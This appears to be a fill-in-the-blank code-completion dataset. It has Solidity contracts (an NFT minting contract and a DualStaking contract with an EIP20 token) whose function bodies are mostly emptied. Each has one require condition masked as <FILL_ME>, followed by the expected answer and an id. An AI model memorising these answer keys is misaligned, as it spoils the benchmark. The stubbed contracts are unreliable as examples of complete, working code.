onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) { } // - modifiers modifier onlyOrigin() { } modifier wlmintCompliance(uint256 _numTokens) { } modifier mintCompliance(uint256 _numTokens) { require(stage == 2, "Public Minting is paused."); require(_numTokens > 0, "You must mint at least one token."); if(totalSupply() + _numTokens < 2000){ require(msg.value == (WL_MINT_PRICE * _numTokens), "Value supplied is incorrect"); }else{ require(<FILL_ME>) } require(totalSupply() + _numTokens < MAX_SUPPLY, "Max supply exceeded!"); require(_numberMinted(msg.sender) + _numTokens < MINT_PER_WALLET + 1,"You are exceeding your minting limit"); _; } modifier ownermintCompliance(uint256 _numTokens, address to) { } }
msg.value==(PUBLIC_MINT_PRICE*_numTokens),"Value supplied is incorrect"
436,541
msg.value==(PUBLIC_MINT_PRICE*_numTokens)
null
// SPDX-License-Identifier: MIT // Dual Staking contract for DeFi Platform. Easy access for projects to have asset to asset staking earning interest based on APY % // from token to another desired token or currency from the same chain. pragma solidity ^0.8.2; /** * @title Owner * @dev Set & change owner */ contract Owner { address private owner; // event for EVM logging event OwnerSet(address indexed oldOwner, address indexed newOwner); // modifier to check if caller is owner modifier isOwner() { } /** * @dev Set contract deployer as owner */ constructor(address _owner) { } /** * @dev Change owner * @param newOwner address of new owner */ function changeOwner(address newOwner) public isOwner { } /** * @dev Return owner address * @return address of owner */ function getOwner() public view returns (address) { } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { } } // Using consensys implementation of ERC-20, because of decimals // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md abstract contract EIP20Interface { /* This is a slight change to the EIP20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return balance The balance function balanceOf(address _owner) virtual public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transfer(address _to, uint256 _value) virtual public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) virtual public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return success Whether the approval was successful or not function approve(address _spender, uint256 _value) virtual public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return remaining Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) virtual public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract EIP20 is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX constructor( uint256 _initialAmount, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol ) { } function transfer(address _to, uint256 _value) override public returns (bool success) { } function transferFrom(address _from, address _to, uint256 _value) override public returns (bool success) { uint256 the_allowance = allowed[_from][msg.sender]; require(<FILL_ME>) balances[_to] += _value; balances[_from] -= _value; if (the_allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address _owner) override public view returns (uint256 balance) { } function approve(address _spender, uint256 _value) override public returns (bool success) { } function allowance(address _owner, address _spender) override public view returns (uint256 remaining) { } } /** * * Dual Staking is an interest gain contract for ERC-20 tokens to earn revenue staking token A and earn token B * * asset is the EIP20 token to deposit in * asset2 is the EIP20 token to get interest in * interest_rate: percentage earning rate of token1 based on APY (annual yield) * interest_rate2: percentage earning rate of token2 based on APY (annual yield) * maturity is the time in seconds after which is safe to end the stake * penalization is for ending a stake before maturity time of the stake taking loss quitting the commitment * lower_amount is the minimum amount for creating the stake in tokens * */ contract DualStaking is Owner, ReentrancyGuard { // Token to deposit EIP20 public asset; // Token to pay interest in | (Can be the same but suggested to use Single Staking for this) EIP20 public asset2; // stakes history struct Record { uint256 from; uint256 amount; uint256 gain; uint256 gain2; uint256 penalization; uint256 to; bool ended; } // contract parameters uint16 public interest_rate; uint16 public interest_rate2; uint256 public maturity; uint8 public penalization; uint256 public lower_amount; // conversion ratio for token1 and token2 // 1:10 ratio will be: // ratio1 = 1 // ratio2 = 10 uint256 public ratio1; uint256 public ratio2; mapping(address => Record[]) public ledger; event StakeStart(address indexed user, uint256 value, uint256 index); event StakeEnd(address indexed user, uint256 value, uint256 penalty, uint256 interest, uint256 index); constructor( EIP20 _erc20, EIP20 _erc20_2, address _owner, uint16 _rate, uint16 _rate2, uint256 _maturity, uint8 _penalization, uint256 _lower, uint256 _ratio1, uint256 _ratio2) Owner(_owner) { } function start(uint256 _value) external nonReentrant { } function end(uint256 i) external nonReentrant { } function set(EIP20 _erc20, EIP20 _erc20_2, uint256 _lower, uint256 _maturity, uint16 _rate, uint16 _rate2, uint8 _penalization, uint256 _ratio1, uint256 _ratio2) external isOwner { } // calculate interest of the token 1 to the current date time function get_gains(address _address, uint256 _rec_number) public view returns (uint256) { } // calculate interest to the current date time function get_gains2(address _address, uint256 _rec_number) public view returns (uint256) { } function ledger_length(address _address) external view returns (uint256) { } }
balances[_from]>=_value&&the_allowance>=_value
436,682
balances[_from]>=_value&&the_allowance>=_value
null
// SPDX-License-Identifier: MIT // Dual Staking contract for DeFi Platform. Easy access for projects to have asset to asset staking earning interest based on APY % // from token to another desired token or currency from the same chain. pragma solidity ^0.8.2; /** * @title Owner * @dev Set & change owner */ contract Owner { address private owner; // event for EVM logging event OwnerSet(address indexed oldOwner, address indexed newOwner); // modifier to check if caller is owner modifier isOwner() { } /** * @dev Set contract deployer as owner */ constructor(address _owner) { } /** * @dev Change owner * @param newOwner address of new owner */ function changeOwner(address newOwner) public isOwner { } /** * @dev Return owner address * @return address of owner */ function getOwner() public view returns (address) { } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { } } // Using consensys implementation of ERC-20, because of decimals // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md abstract contract EIP20Interface { /* This is a slight change to the EIP20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return balance The balance function balanceOf(address _owner) virtual public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transfer(address _to, uint256 _value) virtual public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) virtual public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return success Whether the approval was successful or not function approve(address _spender, uint256 _value) virtual public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return remaining Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) virtual public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract EIP20 is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX constructor( uint256 _initialAmount, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol ) { } function transfer(address _to, uint256 _value) override public returns (bool success) { } function transferFrom(address _from, address _to, uint256 _value) override public returns (bool success) { } function balanceOf(address _owner) override public view returns (uint256 balance) { } function approve(address _spender, uint256 _value) override public returns (bool success) { } function allowance(address _owner, address _spender) override public view returns (uint256 remaining) { } } /** * * Dual Staking is an interest gain contract for ERC-20 tokens to earn revenue staking token A and earn token B * * asset is the EIP20 token to deposit in * asset2 is the EIP20 token to get interest in * interest_rate: percentage earning rate of token1 based on APY (annual yield) * interest_rate2: percentage earning rate of token2 based on APY (annual yield) * maturity is the time in seconds after which is safe to end the stake * penalization is for ending a stake before maturity time of the stake taking loss quitting the commitment * lower_amount is the minimum amount for creating the stake in tokens * */ contract DualStaking is Owner, ReentrancyGuard { // Token to deposit EIP20 public asset; // Token to pay interest in | (Can be the same but suggested to use Single Staking for this) EIP20 public asset2; // stakes history struct Record { uint256 from; uint256 amount; uint256 gain; uint256 gain2; uint256 penalization; uint256 to; bool ended; } // contract parameters uint16 public interest_rate; uint16 public interest_rate2; uint256 public maturity; uint8 public penalization; uint256 public lower_amount; // conversion ratio for token1 and token2 // 1:10 ratio will be: // ratio1 = 1 // ratio2 = 10 uint256 public ratio1; uint256 public ratio2; mapping(address => Record[]) public ledger; event StakeStart(address indexed user, uint256 value, uint256 index); event StakeEnd(address indexed user, uint256 value, uint256 penalty, uint256 interest, uint256 index); constructor( EIP20 _erc20, EIP20 _erc20_2, address _owner, uint16 _rate, uint16 _rate2, uint256 _maturity, uint8 _penalization, uint256 _lower, uint256 _ratio1, uint256 _ratio2) Owner(_owner) { } function start(uint256 _value) external nonReentrant { require(_value >= lower_amount, "Invalid value"); require(<FILL_ME>) ledger[msg.sender].push(Record(block.timestamp, _value, 0, 0, 0, 0, false)); emit StakeStart(msg.sender, _value, ledger[msg.sender].length-1); } function end(uint256 i) external nonReentrant { } function set(EIP20 _erc20, EIP20 _erc20_2, uint256 _lower, uint256 _maturity, uint16 _rate, uint16 _rate2, uint8 _penalization, uint256 _ratio1, uint256 _ratio2) external isOwner { } // calculate interest of the token 1 to the current date time function get_gains(address _address, uint256 _rec_number) public view returns (uint256) { } // calculate interest to the current date time function get_gains2(address _address, uint256 _rec_number) public view returns (uint256) { } function ledger_length(address _address) external view returns (uint256) { } }
asset.transferFrom(msg.sender,address(this),_value)
436,682
asset.transferFrom(msg.sender,address(this),_value)
"Invalid stake"
// SPDX-License-Identifier: MIT // Dual Staking contract for DeFi Platform. Easy access for projects to have asset to asset staking earning interest based on APY % // from token to another desired token or currency from the same chain. pragma solidity ^0.8.2; /** * @title Owner * @dev Set & change owner */ contract Owner { address private owner; // event for EVM logging event OwnerSet(address indexed oldOwner, address indexed newOwner); // modifier to check if caller is owner modifier isOwner() { } /** * @dev Set contract deployer as owner */ constructor(address _owner) { } /** * @dev Change owner * @param newOwner address of new owner */ function changeOwner(address newOwner) public isOwner { } /** * @dev Return owner address * @return address of owner */ function getOwner() public view returns (address) { } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { } } // Using consensys implementation of ERC-20, because of decimals // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md abstract contract EIP20Interface { /* This is a slight change to the EIP20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return balance The balance function balanceOf(address _owner) virtual public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transfer(address _to, uint256 _value) virtual public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return success Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) virtual public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return success Whether the approval was successful or not function approve(address _spender, uint256 _value) virtual public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return remaining Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) virtual public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract EIP20 is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX constructor( uint256 _initialAmount, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol ) { } function transfer(address _to, uint256 _value) override public returns (bool success) { } function transferFrom(address _from, address _to, uint256 _value) override public returns (bool success) { } function balanceOf(address _owner) override public view returns (uint256 balance) { } function approve(address _spender, uint256 _value) override public returns (bool success) { } function allowance(address _owner, address _spender) override public view returns (uint256 remaining) { } } /** * * Dual Staking is an interest gain contract for ERC-20 tokens to earn revenue staking token A and earn token B * * asset is the EIP20 token to deposit in * asset2 is the EIP20 token to get interest in * interest_rate: percentage earning rate of token1 based on APY (annual yield) * interest_rate2: percentage earning rate of token2 based on APY (annual yield) * maturity is the time in seconds after which is safe to end the stake * penalization is for ending a stake before maturity time of the stake taking loss quitting the commitment * lower_amount is the minimum amount for creating the stake in tokens * */ contract DualStaking is Owner, ReentrancyGuard { // Token to deposit EIP20 public asset; // Token to pay interest in | (Can be the same but suggested to use Single Staking for this) EIP20 public asset2; // stakes history struct Record { uint256 from; uint256 amount; uint256 gain; uint256 gain2; uint256 penalization; uint256 to; bool ended; } // contract parameters uint16 public interest_rate; uint16 public interest_rate2; uint256 public maturity; uint8 public penalization; uint256 public lower_amount; // conversion ratio for token1 and token2 // 1:10 ratio will be: // ratio1 = 1 // ratio2 = 10 uint256 public ratio1; uint256 public ratio2; mapping(address => Record[]) public ledger; event StakeStart(address indexed user, uint256 value, uint256 index); event StakeEnd(address indexed user, uint256 value, uint256 penalty, uint256 interest, uint256 index); constructor( EIP20 _erc20, EIP20 _erc20_2, address _owner, uint16 _rate, uint16 _rate2, uint256 _maturity, uint8 _penalization, uint256 _lower, uint256 _ratio1, uint256 _ratio2) Owner(_owner) { } function start(uint256 _value) external nonReentrant { } function end(uint256 i) external nonReentrant { require(i < ledger[msg.sender].length, "Invalid index"); require(<FILL_ME>) // penalization if(block.timestamp - ledger[msg.sender][i].from < maturity) { uint256 _penalization = ledger[msg.sender][i].amount * penalization / 100; require(asset.transfer(msg.sender, ledger[msg.sender][i].amount - _penalization)); require(asset.transfer(getOwner(), _penalization)); ledger[msg.sender][i].penalization = _penalization; ledger[msg.sender][i].to = block.timestamp; ledger[msg.sender][i].ended = true; emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, _penalization, 0, i); // interest gained } else { // interest is calculated in asset2 uint256 _interest = get_gains(msg.sender, i); // check that the owner can pay interest before trying to pay, token 1 if (_interest>0 && asset.allowance(getOwner(), address(this)) >= _interest && asset.balanceOf(getOwner()) >= _interest) { require(asset.transferFrom(getOwner(), msg.sender, _interest)); } else { _interest = 0; } // interest is calculated in asset2 uint256 _interest2 = get_gains2(msg.sender, i); // check that the owner can pay interest before trying to pay, token 1 if (_interest2>0 && asset2.allowance(getOwner(), address(this)) >= _interest2 && asset2.balanceOf(getOwner()) >= _interest2) { require(asset2.transferFrom(getOwner(), msg.sender, _interest2)); } else { _interest2 = 0; } // the original asset is returned to the investor require(asset.transfer(msg.sender, ledger[msg.sender][i].amount)); ledger[msg.sender][i].gain = _interest; ledger[msg.sender][i].gain2 = _interest2; ledger[msg.sender][i].to = block.timestamp; ledger[msg.sender][i].ended = true; emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, 0, _interest, i); } } function set(EIP20 _erc20, EIP20 _erc20_2, uint256 _lower, uint256 _maturity, uint16 _rate, uint16 _rate2, uint8 _penalization, uint256 _ratio1, uint256 _ratio2) external isOwner { } // calculate interest of the token 1 to the current date time function get_gains(address _address, uint256 _rec_number) public view returns (uint256) { } // calculate interest to the current date time function get_gains2(address _address, uint256 _rec_number) public view returns (uint256) { } function ledger_length(address _address) external view returns (uint256) { } }
ledger[msg.sender][i].ended==false,"Invalid stake"
436,682
ledger[msg.sender][i].ended==false